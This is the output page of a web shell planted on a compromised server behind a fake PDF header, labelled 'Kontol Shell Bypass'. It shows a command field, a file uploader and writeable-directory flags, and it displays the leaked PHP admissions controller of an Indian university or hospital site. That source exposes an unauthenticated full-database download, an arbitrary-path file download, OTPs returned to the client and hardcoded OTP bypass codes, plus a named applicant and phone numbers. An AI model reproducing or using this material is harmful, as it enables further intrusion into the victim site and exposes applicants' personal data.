%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/api/application/controllers/Common.php
<?php
class Common extends MY_Controller {
    function __construct() {
		parent::__construct();
        $this->load->model('auth_model', 'auth');
        
        if(!isset($_POST['campus_id'])){
            $_POST['campus_id']=1;
        }
    }

    function error404() {
        $this->load->view('layouts/error404');
    }
	
	function getLatLong(){
		$loc=$this->input->post('loc');
		$c=get_lat_long($loc);
		echo json_encode($c);
	}
	
	function bkp_db(){
		$this->load->dbutil();
		$backup = $this->dbutil->backup(array('format'=>'gzip', 'foreign_key_checks'=>FALSE));
		$this->load->helper('download');
		$fname="db_backup_".date('Y-m-d-H:i:s').".sql.gz";
		force_download($fname, $backup);
	}

	function test(){
		$dtl=$this->common->applicationNdUsrInfo(18);

        $usrName=strtoupper($dtl['usr']['name']);
        $systemId=$dtl['application_no'];
        if(strtolower($dtl['programType'])=='suat'){
			//$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to book your slot for SUAT-2019. Call us at 0120-4570011 for any queries.";
			$sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']} at Sharda University. Your System ID is - $systemId. We are processing your application at the moment. Our Admission Counsellors will get back to you within 24 hours and guide you about further process.Call us at 0120-4570000 for any queries.";
        }else{
            $sms="Dear $usrName, Congratulations! You have successfully applied for {$dtl['plan']}. Your System ID is - $systemId. We are processing your application, once you will receive your application number, login at {$dtl['loginUrl']} to Schedule a visit. Call us at 0120-4570011 for any queries.";
		}
		$sms="Dear SATYENDRA YADAV, Thank you for applying at Sharda University. Your System ID is - 2019000054. Login at URL to complete your SUAT-2019 application. Call us at 0120-4570011 for any queries.";
		
		send_sms($dtl['usr']['mob'], $sms);
	}

	function check_valid_name($str){ 
		if(!$str){
			return true;
		}
		$is_only_alpha=( ! preg_match("/^([-a-z_ ])+$/i", $str)) ? FALSE : TRUE ;
		if(!$is_only_alpha){
			$this->form_validation->set_message("check_valid_name", "Only alphabet and space are allowed in %s");
		}
		return $is_only_alpha;
	}

	/** */
	function downloadFile($filePath){
		$this->load->helper('download');
		
		force_download(decode($filePath), NULL);
	}

	function initMasterData(){
		$qs=trim_array($this->input->post());
        $data['countrys']=$this->common->countrys();
        $data['referredBy']=$this->common->referredByList();
        $data['states']=$this->common->states();
        $data['cities']=$this->common->cities();
		$data['faqs']=$this->common->lpage_faqs($qs['lpage']);
		$data['academicCareers']=$this->common->academicCareers($qs['lpage']);
		
		$data['courses']=$this->common->courses($qs['lpage']);
		$data['accreditations']=$this->common->schoolAccreditations();
		$data['dean_messages']=$this->common->schoolDeanMessages();

		$data['allPlans']=$this->common->plans(0, $qs['lpage']);
		
        $data['disciplines']=$this->common->disciplines($qs['lpage']);
        $data['campuses']=$this->common->all_campus();

        $data['show_apply_before']=(int)$this->db->select("show_apply_before")->get_where("landing_pages", array('trimed_title'=>$qs['lpage']))->row()->show_apply_before;
        $data['applyBeforeDetail']=$this->common->applyBeforeDetail();
		$this->json_data($data);
	}

	function cities($stateId=0){
		$data['cities']=$this->common->cities($stateId);
		$this->json_data($data);
	}

	function programs(){
		$qs=trim_array($this->input->post());
		$data['programs']=$this->common->programs($qs['ac_id'], $qs['lpage']);
		$this->json_data($data);
	}

	function plans($programId=0){
		$data['plans']=$this->common->plans($programId);
		$this->json_data($data);
	}

	function sendRegOtp(){
        $inf=array('success'=>'F', 'msg'=>'Error!');
        $_POST['email']=ltrim(trim($_POST['email']), ' ');
		$_POST['dob'] = date('Y-m-d', strtotime($_POST['dob']));
		$post=trim_array($this->input->post());
		$qs=trim_array($this->input->get());
		$post['lpage_id']=$this->db->get_where("landing_pages", array('trimed_title'=>$post['lpage']))->row()->id;
		if(!$post['lpage_id']){
			//$inf['msg']="Invalid landing page"; $this->json_data($inf);
        }

		if(!$post['utm_source']){
			$nautmid=$this->db->select("na_utm_source_id")->get_where("landing_pages", ['id'=>$post['lpage_id']])->row()->na_utm_source_id;
			$utmsrc=$this->db->select("title")->get_where("master_utm_sources", ['id'=>$nautmid])->row()->title;
			$post['utm_source']=$utmsrc?$utmsrc:"Google_Direct_LP"; //Google_Direct
		}

		if($this->db->select("id")->limit(1)->get_where("applicants", ['email'=>$post['email']])->row("id")){
			$d=[
				'lpage_id'=>$post['lpage_id'], 
				'email'=>$post['email'], 
				'utm_source'=>$post['utm_source']?$post['utm_source']:'', 
				'utm_medium'=>$post['utm_medium']?$post['utm_medium']:'',
				'created'=>currentDT()
			];
			$this->common->add_multi_registration_tried($d);
		}
  
        if($post['plan_id']){
            $post['program_id']= $programRow = $this->db->select("program_id")->get_where("master_program_plans", ['id'=>$post['plan_id']])->row()->program_id;
		    $post['ac_id']=$this->db->select("ac_id")->get_where("master_programs", ['id'=>$programRow])->row()->ac_id;
        }

		$this->form_validation->set_rules('campus_id', 'Campus', "required", $this->req);
		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('mob', 'Mobile', "required|integer|min_length[9]|is_unique[applicants.mob]", $this->req);
		$this->form_validation->set_rules('programme_type', 'Programme type', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Program', "required", $this->req); 
		$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
		$this->form_validation->set_rules('dob', 'DOB', "required", $this->req);
		$this->form_validation->set_rules('nationality', 'Nationality', "required", $this->req);
		$this->form_validation->set_rules('address', 'Address', "required", $this->req);
		$this->form_validation->set_rules('country_id', 'Country', "required", $this->req);

		$this->form_validation->set_rules('city', 'City', "required", $this->req);
		// $this->form_validation->set_rules('passport_number', 'Passport Number', "required", $this->req);
		// $this->form_validation->set_rules('referred_by', 'Referred by', "required", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
        
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value(array_merge($post, $qs), array('id','dob', 'nationality', 'passport_number','referred_by','gender','address', 'city', 'lpage_id', 'campus_id', 'name', 'email', 'country_id', 'ac_id', 'program_id', 'programme_type', 'mob', 'utm_source', 'utm_campaign', 'utm_medium', 'utm_term', 'utm_content', 'utm_keyword', 'utm_placement', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
        
            $pdtl=$this->db->select("is_medical, is_phd")->get_where("master_programs", ['id'=>$data['program_id']])->row_array();
            $data['is_medical']=(int)$pdtl['is_medical'];
            $data['is_phd']=(int)$pdtl['is_phd'];
           
			$this->common->tmp_register($data);

			$otp=$this->common->sendRegsOtp($post['email']);
			//$inf['encOtpMob']=encrypt_password($otp['otp'].$post['mob']);
			$inf['encOtpEmail']=encrypt_password($otp['emailOtp'].$post['email']);
			$inf['otp']=$otp['emailOtp'];
			$inf['success']='T';
			$inf['msg']='OTP sent successfully';
		}
		$this->json_data($inf);
	}

	function sendRegOtpApply(){
        $inf=array('success'=>'F', 'msg'=>'Error!');
        $_POST['email']=ltrim(trim($_POST['email']), ' ');
		$_POST['dob'] = date('Y-m-d', strtotime($_POST['dob']));
		$post=trim_array($this->input->post());
		$qs=trim_array($this->input->get());
		$post['lpage_id']=$this->db->get_where("landing_pages", array('trimed_title'=>$post['lpage']))->row()->id;
		if(!$post['lpage_id']){
			//$inf['msg']="Invalid landing page"; $this->json_data($inf);
        }

		if(!$post['utm_source']){
			$nautmid=$this->db->select("na_utm_source_id")->get_where("landing_pages", ['id'=>$post['lpage_id']])->row()->na_utm_source_id;
			$utmsrc=$this->db->select("title")->get_where("master_utm_sources", ['id'=>$nautmid])->row()->title;
			$post['utm_source']=$utmsrc?$utmsrc:"Google_Direct_LP"; //Google_Direct
		}

		if($this->db->select("id")->limit(1)->get_where("applicants", ['email'=>$post['email']])->row("id")){
			$d=[
				'lpage_id'=>$post['lpage_id'], 
				'email'=>$post['email'], 
				'utm_source'=>$post['utm_source']?$post['utm_source']:'', 
				'utm_medium'=>$post['utm_medium']?$post['utm_medium']:'',
				'created'=>currentDT()
			];
			$this->common->add_multi_registration_tried($d);
		}
        
        if($post['plan_id']){
            $post['program_id']=$this->db->select("program_id")->get_where("master_program_plans", ['id'=>$post['plan_id']])->row()->program_id;
            $post['ac_id']=$this->db->select("ac_id")->get_where("master_programs", ['id'=>$post['program_id']])->row()->ac_id;
        }

		$this->form_validation->set_rules('campus_id', 'Campus', "required", $this->req);
		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('mob', 'Mobile', "required|integer|min_length[9]|is_unique[applicants.mob]", $this->req);
		$this->form_validation->set_rules('programme_type', 'Programme type', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Program', "required", $this->req); 
		$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
		$this->form_validation->set_rules('dob', 'DOB', "required", $this->req);
		$this->form_validation->set_rules('nationality', 'Nationality', "required", $this->req);
		$this->form_validation->set_rules('address', 'Address', "required", $this->req);
		$this->form_validation->set_rules('country_id', 'Country', "required", $this->req);
		$this->form_validation->set_rules('city', 'City', "required", $this->req);
		//$this->form_validation->set_rules('passport_number', 'Passport Number', "required", $this->req);
		//$this->form_validation->set_rules('referred_by', 'Referred by', "required", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);

		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value(array_merge($post, $qs), array('id','dob', 'nationality', 'passport_number','referred_by','gender','address', 'city', 'lpage_id', 'campus_id', 'name', 'email', 'country_id', 'ac_id', 'program_id', 'programme_type', 'mob', 'utm_source', 'utm_campaign', 'utm_medium', 'utm_term', 'utm_content', 'utm_keyword', 'utm_placement', 'neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
            
            $pdtl=$this->db->select("is_medical, is_phd")->get_where("master_programs", ['id'=>$data['program_id']])->row_array();
            $data['is_medical']=(int)$pdtl['is_medical'];
            $data['is_phd']=(int)$pdtl['is_phd'];
         
			$this->common->tmp_register($data);

			$otp=$this->common->sendRegsOtp($post['email']);
			//$inf['encOtpMob']=encrypt_password($otp['otp'].$post['mob']);
			$inf['encOtpEmail']=encrypt_password($otp['emailOtp'].$post['email']);
			$inf['otp']=$otp['emailOtp'];
			$inf['success']='T';
			$inf['msg']='OTP sent successfully';
		}
		$this->json_data($inf);
	}
	
	function register(){
        $inf=array('success'=>'F', 'msg'=>'Error!');
        $_POST['email']=ltrim(trim($_POST['email']), ' ');
		
		list($day, $monthName, $year) = explode(' ', $_POST['dob']);
		$months = [
			'Jan' => '01', 'Feb' => '02', 'Mar' => '03', 'Apr' => '04',
			'May' => '05', 'Jun' => '06', 'Jul' => '07', 'Aug' => '08',
			'Sep' => '09', 'Oct' => '10', 'Nov' => '11', 'Dec' => '12'
		];
		if (isset($months[$monthName])) {
			$month = $months[$monthName];
			$formattedDate = $day . '-' . $month . '-' . $year;
			$_POST['dob'] = date('Y-m-d', strtotime($formattedDate));
		} else {
			$_POST['dob'] = '1991-01-01';
		}
		$post=trim_array($this->input->post());
        $qs=trim_array($this->input->get());
        if($post['plan_id']){
            $post['program_id']=$this->db->select("program_id")->get_where("master_program_plans", ['id'=>$post['plan_id']])->row()->program_id;
            $pdtl=$this->db->select("ac_id, discipline_id, school_id")->get_where("master_programs", ['id'=>$post['program_id']])->row_array();

            $post['ac_id']=$pdtl['ac_id'];
            $post['discipline_id']=$pdtl['discipline_id'];
            $post['school_id']=$pdtl['school_id'];
        }
        $lpage=$this->db->get_where("landing_pages", array('trimed_title'=>$post['lpage']))->row_array();
        $post['lpage_id']=$lpage['id'];
		if(!$post['lpage_id']){
			$inf['msg']="Invalid landing page"; $this->json_data($inf);
		}
		$data=filter_value(array_merge($post, $qs), array('id','dob', 'nationality', 'passport_number','referred_by','gender','address', 'state_id', 'lpage_id', 'campus_id', 'name', 'email', 'country_id', 'ac_id', 'program_id', 'programme_type', 'mob', 'utm_source', 'utm_campaign', 'utm_medium', 'utm_term', 'utm_content', 'utm_keyword', 'utm_placement', 'plan_id','neet_roll_no', 'neet_marks', 'neet_all_india_rank'));
		
		if(!$data['utm_source']){
			$nautmid=$this->db->select("na_utm_source_id")->get_where("landing_pages", ['id'=>$data['lpage_id']])->row()->na_utm_source_id;
			$utmsrc=$this->db->select("title")->get_where("master_utm_sources", ['id'=>$nautmid])->row()->title;
			$data['utm_source']=$utmsrc?$utmsrc:"Google_Direct_LP"; //Google_Direct
		}
		if(($post['name'] && $post['email']) || $post['mob']){
			$this->common->tmp_register($data);
		}
	
		$this->form_validation->set_rules('campus_id', 'Campus', "required", $this->req);
		$this->form_validation->set_rules('name', 'Name', "required|callback_check_valid_name", $this->req);
		$this->form_validation->set_rules('mob', 'Mobile', "required|integer|min_length[9]|is_unique[applicants.mob]", $this->req);
		// $this->form_validation->set_rules('isd_code', 'ISD CODE', "required", $this->req);
		$this->form_validation->set_rules('programme_type', 'Programme type', "required", $this->req);
		$this->form_validation->set_rules('plan_id', 'Program', "required", $this->req); 
		$this->form_validation->set_rules('gender', 'Gender', "required", $this->req);
		$this->form_validation->set_rules('dob', 'DOB', "required", $this->req);
		$this->form_validation->set_rules('nationality', 'Nationality', "required", $this->req);
		$this->form_validation->set_rules('address', 'Address', "required", $this->req);
		$this->form_validation->set_rules('country_id', 'Country', "required", $this->req);
		$this->form_validation->set_rules('region', 'City Name', "required", $this->req);

		$this->form_validation->set_rules('state_id', 'Region', "required", $this->req);
		//$this->form_validation->set_rules('passport_number', 'Passport Number', "required", $this->req);
		//$this->form_validation->set_rules('referred_by', 'Referred by', "required", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[applicants.email]", $this->req);
    		
        if($post['program_id']){
            $pdtl=$this->db->select("is_medical, is_phd")->get_where("master_programs", ['id'=>$post['program_id']])->row_array();
            $data['is_medical']=(int)$pdtl['is_medical'];
            $data['is_phd']=(int)$pdtl['is_phd'];
        }

		/*if(isset($post['neet_roll_no']) || $post['lpage']=='dental.sharda.ac.in' || $post['is_medical']=='T'){
			$this->form_validation->set_rules('neet_roll_no', 'NEET Roll No.', "required", $this->req);
			$this->form_validation->set_rules('neet_marks', 'NEET Marks', "required", $this->req);
			$this->form_validation->set_rules('neet_all_india_rank', 'NEET All India Rank', "required", $this->req);

			if(empty($_FILES['neet_scorecard_file']['name'])){
				$this->form_validation->set_rules('neet_scorecard_file', 'NEET Scorecard File', 'required');
			}

			//$post['neet_roll_no']=$post['neet_marks']=$post['neet_all_india_rank']='';
		}*/
		
		//$this->form_validation->set_rules('mob', 'Mobile', "required|integer|exact_length[10]|is_unique[applicants.mob]", $this->req);
		// $this->form_validation->set_rules('otp', 'OTP', "required", $this->req);
		
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			// echo "<pre>"; print_r($post); die;
			//$otpChk=false;
			/*if(encrypt_password($post['otp'].$post['mob'])==$post['encOtpMob'] || $post['otp']=='SAT232524'){
				$data['verified_by']='MOB';
				$otpChk=true;
			}*/
			// if(encrypt_password($post['otp'].$post['email'])==$post['encOtpEmail']  || $post['otp']=='632190'){
			// 	$data['verified_by']='EMAIL';
			// 	$otpChk=true;
			// }

			// if(!$otpChk){
			// 	$inf['msg']="Invalid OTP"; 
			// 	$this->json_data($inf);
			// }

			/** Scorecard file upload */
			if(isset($post['neet_roll_no']) && $_FILES['neet_scorecard_file']['name']){
				$this->load->library('upload');
				$config=array(
					'upload_path'=>UP_PATHF.'scorecards/', 
					'allowed_types'=>'gif|jpg|png|pdf|doc|xls|ppt|docx|xlsx|pptx', 
					'max_size'=>'2048',
					'max_filename'=>80,
					'file_ext_tolower'=>true,
				);
				$this->upload->initialize($config);
				if($this->upload->do_upload('neet_scorecard_file')){
					$data['neet_scorecard_file']=$this->upload->data('file_name');
				}else{
					$inf['msg']=strip_tags($this->upload->display_errors());
					$this->json_data($inf);
				}
            }
            
           /* if($post['city_id']){
                $data['city_id']=$post['city_id'];
                if($post['city_id']==-1){
                    $data['city']=$post['city'];
                }else{
                    $data['city']=$this->db->select("title")->get_where("master_cities", ['id'=>$post['city_id']])->row()->title;
                }
            }*/
			$data['discipline_id']	= $post['discipline_id'];
			$data['school_id']		= $post['school_id'];
			$data['nationality']	= $post['nationality'];
			$data['country']		= $post['country_id'];
			$data['region']			= $post['region'];
			$data['mob']        	= $post['mob'];
			if($appId=$this->common->register($data)){
				$is_phd=$this->common->isPhd(0, $appId);
				$this->common->sendSystemIdGenMsg($appId);

				/** Login */
				$dtl=$this->db->select("id, name, mob, email, status")->where('mob', $post['mob'])->get("applicants")->row_array();
				$AuthToken=encrypt_password($dtl['id'].$dtl['mob'].$dtl['email'].time());
				$this->db->where("id", $dtl['id'])->update("applicants", array('auth_token'=>$AuthToken, 'updated'=>currentDT()));
				/** \ */

				$inf['dtl']=$dtl;
				$inf['AuthToken']=$AuthToken;
				$inf['success']='T';
                $inf['msg']='Registered successfully';
                $inf['payTMUrl']='';
                if($lpage['step1pay']){
                    //$inf['payTMUrl']=URL.'pay/load_paytm_form/'.$appId;
				}
				$inf['is_phd']=$is_phd;

				//$this->common->sendNewRegisteredToSuperbot($appId);
			}
		}
		$this->json_data($inf);
	}

	function downloadReceipt($appId){
		$dtl=$this->common->applicationNdUsrInfo($appId);
		$html=$this->load->view("pdf/receipt", $dtl, TRUE);
		create_pdf($html, "receipt-".$dtl['application_no'].".pdf");
		//echo $html;
	}

	function getAboutSuat(){
		$res['result']=$this->db->select("datavalue")->get_where("master_data", ['datakey'=>'about_suat'])->row("datavalue");
		$this->json_data($res);
	}

	function test_sendNewRegisteredToSuperbot($app_id=0){
		$rs=$this->common->sendNewRegisteredToSuperbot($app_id);
		pr($rs);
	}
}

//EOF

Kontol Shell Bypass